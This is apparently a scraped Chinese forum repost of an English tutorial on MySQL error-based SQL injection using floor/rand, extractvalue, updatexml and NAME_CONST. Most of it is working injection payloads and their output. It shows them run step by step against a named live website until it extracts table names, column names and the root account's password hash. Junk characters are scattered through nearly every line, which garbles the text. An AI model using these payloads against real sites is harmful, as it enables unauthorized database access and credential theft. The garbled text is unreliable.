|
1、通过floor报错 可以通过如下一些利用代码 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 举例如下:
9 J8 R$ Q( T1 P+ J: Z8 q+ R首先进行正常查询: mysql> select * from article where id = 1; }$ F6 u d8 j# M6 a+ L
+—-+——-+———+; K. f. o, l- t8 t- S
| id | title | content |0 ]6 d8 t6 {0 `2 A+ a$ s. `( O" w
+—-+——-+———+8 \( Y0 R, O! Q. Q7 j
| 1 | test | do it |7 ~% _, P9 C8 a/ }% w5 q( j
+—-+——-+———+ 假如id输入存在注入的话,可以通过如下语句进行报错。 mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
" e' M; ^, `* |! A, `ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’ 可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
1 l3 F. r U% Q例如我们需要查询管理员用户名和密码: Method1: mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
% g7 w+ M* L! ^9 g7 {9 a6 J. }ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ Method2: mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));9 O3 C8 Q; P( N" f( U- P- n/ K
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ 2、ExtractValue
3 ]5 s s6 I9 `* Y测试语句如下 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 实际测试过程 mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–. r3 l8 m' G; o! q0 m' b
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′ 3、UpdateXml 测试语句 and 1=(updatexml(1,concat(0x3a,(select user())),1)) 实际测试过程 mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’ 3 V; S& j1 _# y* f
$ f' C" F; Z- B1 J5 V
再收集:
6 |! J1 U% n; A Chttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c) ) H1 H8 O+ F/ k( Y: j3 o4 c
& Y, [$ `; x6 FError uplicate column name ‘5.0.27-community-nt’Error uplicate column name ‘5.0.27-community-nt’7 d x6 M! q5 l
/ ~" f4 k3 r# B$ A5 w' G$ x B
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
( t' u3 ^( \: s e' \0 ^ q
4 J1 J: L" ^, H6 ?1 l% \! uError uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Error uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
2 x( h9 f/ U' a7 ]4 G, }* |8 b
' Q' x! L* B: \) m1 f4 uMYSQL高版本报错注入技巧-利用NAME_CONST注入" z+ Y ~" J2 X7 p& l4 I
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it. ! O# j1 c; V1 a' A: _7 x
) z! o5 P% l# {4 i1 e% K# U) w( O
相关信息% y+ M/ j" i* I7 f7 G
! I7 O2 K5 W+ `* B" n. FNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
% s* H; Z- o" ]8 `# ^, p0 F3 M. r; N
Code:
" o) z; T/ g1 y% ^& Y gNAME_CONST(DATA, VALUE)
) A4 Q- G1 o! R5 F. l) Y/ J1 B Q. u
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
5 p7 c4 @% S8 b- r- [1 @, ^$ L, M
& ]0 O2 S' U- U% P2 L' OSELECT NAME_CONST('TEST', 1)
. Z% v; c$ f/ h# d$ S$ H+ m1 ]/ O5 z# H) M9 C, o& z& ]6 q# O
: Q9 a& l, A1 b# z8 k0 _# {: ]6 Z
* V4 H5 v) x9 A5 P* ^|---------------|
* a3 c& K: I6 h! F! G| TEST |' a- b2 o0 a- p8 M$ j
| |+ V8 }3 `* }. F( [
|---------------|
& f9 l( @' Z! j: d; R) r; P* D| 1 |
: P& S7 j$ [' B5 [4 a+ h- q% Q| |" \! t0 L, v, B( r
|---------------|
7 N/ w, G4 V: F6 Y6 O% a
1 M4 B- z) ?+ b, l" F8 d: t
, f# _8 l: d! X- _# T
0 C; O' M7 x \4 \7 I4 x
3 h f4 m/ v! d! u7 chttp://dev.mysql.com/doc/refman/5.0/en/m...name-const& h3 Z# B3 e; m! L# r E
Intro to MySQL Variables# Z/ G! d9 H( `6 l1 Q5 d. M; I
, w7 M, l, O' v) |- VOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.% |6 J" {+ X; d+ {
0 F( [) N* }* e0 H9 @# GCode:
`5 f( _$ R ]2 `* ohttp://www.baido.hk/qcwh/content ... ;sid=19&cid=2613 N' b0 f/ T& D
& d e! Z; Y! h v( N+ a- u# k
) Z3 l& @6 y$ V1 m( v9 b
6 ^; C7 ?( ]" n" h, L# i
: b0 n' l' Y* @) }
( ~1 j+ Z) ^7 U/ N VCode:
- E# N- R+ _; c; kand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--- ?/ b# A2 s3 H. N: _5 q
) c# K) p5 }1 Z3 v, W9 N
" u! p7 n0 v7 }" `$ ~0 h) OVAR = Your MySQL variable.
8 H7 t2 |: [( T- F, t" q) U' \* t, s9 m3 U5 q8 k4 y! t
MySQL 5.1.3 Server System Variables
4 _; ~2 @( W8 Y0 @8 D* P( A8 L* X+ B/ A0 l9 S
Let's try it out on my site..
. _+ C- K- `& ~6 M/ B/ F3 T, h" y* P
! W U2 a- l% `7 s+ h8 XCode:3 ^5 _. z5 z. S( N
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
, n5 |3 d0 S1 T i4 B/ V- F6 Z/ t% a! g& D$ K4 _
Error uplicate column name '5.0.27-community-nt'- Y; i$ `; k0 L- K& A
' ~% } r4 {2 t& l: h5 u
8 B9 F, W5 Z0 P1 F2 J& d8 |4 [3 U6 \1 ^: I8 x, g
# o0 u& j$ j. c9 f
! @1 ~4 l: |7 U! R. b ENow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
8 n5 e- Y0 p7 B9 t4 I/ m; R/ K* l3 ^* H" C' y% {" k0 v% n! c% p
Data Extraction
( V. m+ O6 M# o. q; d' s p7 E# g% }9 N ?
Code:
# D9 c4 u0 p0 ]+ y+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
# o4 p/ A" \4 n# Q) e
, G2 i V; g, T; V: s/ S" B& Y N6 x" z& D' M- |6 u- g
We should get a duplicate column 1 error...
9 ]& S6 J k; x0 V5 a6 z/ ]7 h+ O4 T" ~/ D
Code:
) s s, A7 }5 ] n* P; r) S4 b$ {http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--: d! J1 C. y, I( R/ l5 P
i c8 J5 b O5 U
Error uplicate column name '1
8 g) t, ?) V" K9 ^: r$ t6 R
; Y( ]/ Y) u% V( ?' e5 i5 S! h; W8 S. N9 o' I6 P; {1 ^
3 s" g8 b' W$ x$ k+ Z
" m( ~; h( A2 i/ D+ c
. n( F4 L+ O% e
3 O+ X" u9 O/ ~2 m4 WNow let's get the tables out this bitch..0 P# _( }, u1 n' I8 b8 G3 W
/ c) \3 u, G! p+ G
Code:
: I( o+ R! a9 X; H4 u+ Y! x+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
5 j) ~$ G4 T0 {, u5 ^ N8 G
4 W( x. ~2 j" |0 l$ B4 a
9 O% Q2 U6 v# j7 RLet's see if it works here, if it does, we can go on and finish the job.
4 w2 V8 J" g4 ?7 `; x* @
# O+ q! t$ G( }% i; { CCode:
" l4 z! h! X4 |, |: Khttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
! |) D: w# I D% M& |
, @9 r* l6 L$ D6 S6 f
, @( ]6 @+ |' i. [! G* ^# o! N8 \# c lError uplicate column name 'com_admanage0 f% C: n. ^ t. L% ]) F
9 b# c. g1 e' N$ [4 b4 u, R0 _
) ]( u& y! M- O6 V, I* @
; e% _- |* h8 L6 y2 E+ F3 A ?+ Y9 T/ p' T/ C4 S5 P
- _+ Z9 t: J" t5 P+ ]
: n" d+ C. ^/ L7 tNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.' W6 X1 Z! j& | T j
/ n! z" [0 m( C3 J8 K* HLet's get the columns out of the user table..
8 b) A0 M) R. B8 M* n5 I+ S5 r( c5 g" w+ P- A
Code:' ?) G# m! f$ p; D, }$ ~
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
0 B5 B; o# ]! S* @; X. O+ E# F4 F" v+ a! o: L" Z) A6 v9 n) V7 ^7 V" R
6 r+ X, T. o z$ }
So mine looks like this, and I get the duplicate column name 'Host'.
: Y- }7 M1 m' [$ U9 k, J' A4 y9 j4 E% R1 }
Code:
! @$ N: Q& A6 I3 M0 j* ^7 {http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
+ H A- M2 q0 E7 o2 }' k( {8 L2 X
* c0 ] G& |" {4 \3 f6 {Error uplicate column name 'Host'8 l$ k& D/ Z1 j7 N6 S# G6 n% {% F2 q
9 J% M6 F2 i8 V6 E
. f0 V7 J4 W9 h4 c
' E( T/ C2 R F1 S% h% y U! {& j+ O) B! F% m
* i6 t+ n% V% R4 f0 u3 I* w8 y' A8 ^: P# x
Woot, time to finish this bitch off., y' Y, A3 B. K& T. ^
4 ?9 x& W, I3 pCode:
$ Y1 B* S) B& H% d+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--5 p9 X7 Z( }+ B. P9 R8 q* E' S' s
$ {; P( @0 }# I) K( [6 c
8 u3 I' ^+ F6 p3 e1 c$ L( pSo mine looks like this..." f w. w" Y% t3 W. h5 G" T
- s$ f- m, k/ q sCode:& g$ \# X' B" W7 w% L
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--$ \2 x/ s/ G. v& Y6 C3 _8 w4 J
& o/ b0 O: d5 a& S
Error uplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
{$ _) u2 x! x: M; A1 o
2 [5 }: D0 O; P" L+ {
$ `1 R; `/ c1 z2 j7 ^, ? 5 l+ Z- O8 V F- C
( w! E" G: A" ^
! A- N/ [+ n, Q! t) D- k
7 `' r$ E' K0 u6 EAnd there we have it, thanks for reading.) w9 G- G! U/ B0 `
1 O. [% ^" b7 W' w- y$ T2 d |